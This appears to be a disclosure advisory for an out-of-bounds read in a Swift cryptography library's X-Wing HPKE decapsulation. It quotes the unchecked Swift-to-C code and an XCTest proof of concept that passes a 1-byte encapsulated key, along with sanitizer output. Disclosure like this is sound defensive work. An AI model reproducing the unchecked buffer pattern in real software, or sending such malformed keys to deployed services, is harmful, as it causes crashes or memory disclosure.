Summary

The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter Data value is passed in, because the C code may read beyond the Swift buffer.

The issue is reachable through initialization of an HPKE.Recipient, which decapsulates the provided encapsulatedKey during construction. A malformed encapsulatedKey can therefore trigger undefined behavior instead of a safe length-validation error.

Details

The decapsulate function of OpenSSLXWingPrivateKeyImpl does not perform a length check before passing the encapsulated data to the C API.

func decapsulate(_ encapsulated: Data) throws -> SymmetricKey {
    try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in
        try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in
            let rc = CCryptoBoringSSL_XWING_decap(
                sharedSecretBytes.baseAddress,
                encapsulatedSecretBytes.baseAddress,
                &self.privateKey
            )
            guard rc == 1 else {
                throw CryptoKitError.internalBoringSSLError()
            }
            count = Int(XWING_SHARED_SECRET_BYTES)
        }
    }
}

The C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.

#define XWING_CIPHERTEXT_BYTES 1120

OPENSSL_EXPORT int XWING_decap(
    uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],
    const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],
    const struct XWING_private_key *private_key);

Since decapsulate accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a HPKE.Recipient. This creates a new HPKE.Context, which decapsulates the attacker-controlled enc argument:

init<PrivateKey: HPKEKEMPrivateKey>(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {
    let sharedSecret = try skR.decapsulate(enc)
    self.encapsulated = enc
    self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)
}

PoC

This PoC constructs an HPKE.Recipient using the X-Wing ciphersuite and deliberately passes a 1-byte encapsulatedKey instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a dynamic-stack-buffer-overflow read, confirming memory-unsafe behavior.

//===----------------------------------------------------------------------===//
//
// PoC for X-Wing malformed ciphertext-length decapsulation:
// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.
//
// This test is intentionally unsafe and is expected to crash (or trip ASan)
// on vulnerable builds when run.
//
//===----------------------------------------------------------------------===//

#if canImport(FoundationEssentials)
import FoundationEssentials
#else
import Foundation
#endif
import XCTest

#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
// Skip tests that require @testable imports of CryptoKit.
#else
#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
@testable import CryptoKit
#else
@testable import Crypto
#endif

final class XWingMalformedEncapsulationPoCTests: XCTestCase {
    func testShortEncapsulatedKeyHPKERecipientInit() throws {
        if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {
            let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256
            let skR = try XWingMLKEM768X25519.PrivateKey.generate()
            let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes

            // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...)
            _ = try HPKE.Recipient(
                privateKey: skR,
                ciphersuite: ciphersuite,
                info: Data(),
                encapsulatedKey: malformedEncapsulatedKey
            )

            XCTFail("Unexpectedly returned from malformed decapsulation path")
        }
    }
}

#endif // CRYPTO_IN_SWIFTPM

Steps

1. Add the PoC XCTest above to the test suite.
2. Run the PoC normally to verify that malformed input is not rejected by length:

   swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit

3. Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:

   swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit

Results

Normal run

The PoC test reaches the XCTFail path. HPKE.Recipient(...) accepted a 1-byte X-Wing encapsulated key instead of rejecting it for incorrect length.

Test Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started
... failed - Unexpectedly returned from malformed decapsulation path

AddressSanitizer run

The sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.

ERROR: AddressSanitizer: dynamic-stack-buffer-overflow
READ of size 1
...
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow
==...==ABORTING

Impact

A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.

Reported by Cantina.

References

• GHSA-9m44-rr2w-ppp7
• https://nvd.nist.gov/vuln/detail/CVE-2026-28815